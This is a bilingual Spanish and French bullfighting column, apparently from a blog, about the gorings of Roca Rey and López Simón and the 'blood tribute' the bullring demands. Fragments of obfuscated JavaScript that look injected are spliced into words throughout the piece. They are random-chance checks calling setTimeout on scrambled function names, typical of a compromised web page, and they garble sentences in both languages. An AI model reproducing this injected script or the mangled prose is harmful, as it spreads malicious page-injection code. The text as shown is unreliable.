LA SANGRE QUE TRIBUTALE SANG POUR TRIBUT

La pasada semana, en un intervalo de cuatro días, caían heridos los dos toreros que, en su correspondiente escalafón, han puesto nombre a la presente temporada. Nombres, en este caso, de revelación, de grata novedad, de ilusionante buena nueva y esperanzador futuro. Uno se anuncia Roca Rey y el otro López Simón; aquel se ha hecho el amo de la novillería, éste está consiguiendo hacerse un sitio a codazos –entiéndase a triunfo cantado– en la cabecera del cerradísimo escalafón superior.

El lunes, día 7, en la toledana Villaseca de la Sagra, un novillo áspero y de sentido del hierro de Flor de Jara, pésimamente lidiado por la cuadrilla, hirió al novillero limeño al ejecutar la suerte suprema. El levantisco animal no merecía otra cosa que un macheteo eficaz y una estocada de recurso, pero en el momento que atraviesa Roca Rey ni de lejos se asoman a la mente del muchacho una cosa u otra. Ni siquiera le importó cruzar con verdad el pitón derecho del astado para conseguir la estocada, pese a que por dicho lado el avispado burel “cogía moscas”, como suele decirse en el argot, obligandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando al torero a construir su valiente faena por el pitón zurdo. No obstante, como otro rasgo evidente de su casta torera, tampoco le importó arriesgar lo suyo para sacarle, al final de la misma, una meritoria tandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anda de derechazos.

Tres días después, en el tercer festejo de la feria de Albacete y al intentar dar un pase cambiado por la espalda, era el diestro López Simón quien resultaba herido por su segundo toro de Alcurrucén, después de haber paseado la oreja de su primero ante un público absolutamente predispuesto a su favor como hacía tiempo que yo no veía con un torero.

Las dos cornadas fueron pronosticadas de graves, aunque ambas son de las que sanan fácilmente en cuanto pasa el tiempo de espera sin presentarse complicaciones; no obstante, en el caso de Roca Rey, la fractura de la base de uno de los metacarpianos de la mano izquierda es lo que puede retardar más su reaparición, haciendo peligrar su próxima alternativa en Nimes el próximo día 19. Del mismo modo, la cornada de López Simón amenaza privarle de confirmar la suya en el mismo coso un día después. Veremos cómo se desarrollan los acontecimientos.

Lo evidente es que las dos cornadas han cortado la racha triunfal que llevaban ambos espadas; algo que suele suceder –y ahí está la historia del toreo para ratificarlo– cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando los toreros pisan el sitio de la verdad y arriesgan tarde tras tarde buscandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando el triunfo. Porque no es cierto eso de que los toros cogen al torpe –aunque los haya y los cojan– o al suicida –no conozco ninguno en el toreo–, sino a los que son capaces de traspasar esa raya que separa la autenticidad de lo que no lo es. Sobre todo a los que la traspasan tarde tras tarde, toro tras toro. Éstos, antes o después según tengan menos o más fortuna, pagan el tributo de sangre que el toreo exige a los mejores se llamen José Tomás, Manolete, Antonio Ordóñez, El Cordobés, Paco Ojeda, Manili, José Luis Parada, José Antonio Campuzano, etc., o ahora López Simón y Roca Rey. Decir lo contrario es mentir, como también lo es cantar como mérito el no sufrir cogidas. Verdad que esto, en cierto grado, es cuestión de suerte, pero no cabe duda de que a lo que el toro le cuesta más trabajo herir es a la mentira. No lo olviden nunca.

La semaine dernière, dans l’intervalle de quatre jours, étaient blessés les deux toreros qui, dans leurs classements respectifs, ont marqué cette saison. Des noms, dans ce cas, des révélations, de plaisantes nouveautés, de beaux espoirs pour l’avenir. Un s’affiche comme Roca Rey et l’autre comme López Simón ; le premier est devenu le patron des novilleros, l’autre se hisse à coups de coude –avec des triomphes à chaque rendez vous- à la tête du cercle très fermé de l’escalafon supérieur.

Le lundi, dans la ville de la province de Tolède, Villaseca de la Sagra, un novillo âpre et avisé du fer de Flor de Jara, très mal lidié par la cuadrilla, blessa le novillero de Lima à la mise à mort. La bête n’aurait mérité autre chose que des passes de châtiment et une estocade efficace, mais Roca Rey est dans une telle confiance que cela ne lui a même pas traversé l’esprit. Il ne s’est même pas inquiété de s’élancer vers la corne droite du toro pour réussir l’estocade, même si le toro le toro l’avait déjà prévenu sur ce côté, obligeant le torero à construire sa vaillante faena sur la corne gauche. Ainsi, autre trait caractéristique de sa caste torera, il n’a pas hésité à prendre le risque à la fin de sa faena en lui endossant une méritoire série de passes droitières.

Trois jours plus tard, lors de la troisième corrida de la feria d’Albacete, en essayant de faire une passe inversée de dos, c’était le torero López Simón qui était blessé par son second toro d’Alcurrucén, après avoir été récompensé d’une oreille à son premier devant un public absolument acquis à lui comme je ne l’avais pas vu depuis très longtemps.

Les deux coups de corne furent qualifiés de graves, même si, quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and ne surviennent pas des complications, on en guérit facilement ; cependant, en ce qui concerne Roca Rey, la fracture à la base de l’un des métacarpiens de la main gauche peut retarder son retour, semant le trouble quant à sa prochaine alternative à Nîmes ce 19 septembre. De la même manière, le coup de corne de López Simón menace de pouvoir confirmer la sienne un jour plus tard dans les mêmes arènes. Nous verrons comment tout se déroule.

Ce qui est évident c’est que ces deux coups de corne ont freiné la série triomphale des deux toreros ; ce qui arrive souvent –l’histoire est là pour le ratifier- quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and les toreros foulent les terrains à risque et s’engagent chaque après-midi pour triompher. Car il n’est pas vrai que les toros attrapent le maladroit –même s’il y en a et ça leur arrive- ou le suicidaire –je n’en connais aucun dans la tauromachie-, mais plutôt ceux qui sont capables de franchir ce trait qui sépare l’authentique de ce qui ne l’est pas. Surtout ceux qui le font jour après jour, toro après toro. Ceux-là, tôt ou tard, suivant s’ils ont plus ou moins bonne fortune, payent le tribut du sang que le toreo exige aux meilleurs, qu’ils s’appellent José Tomás, Manolete, Antonio Ordoñez, El Cordobés, Paco Ojeda, Manili, José Luis Parada, José Antonio Campuzano, etc., ou aujourd’hui López Simón et Roca Rey. Dire le contraire c’est mentir, comme l’est aussi louer comme un mérite ne pas avoir de cornades. Il est vrai, dans une certaine mesure, que c’est souvent la chance qui rentre en jeu, mais il ne fait aucun doute que le toro a plus de mal à blesser le mensonge. Ne l’oublions jamais.

Les commentaires sont fermés.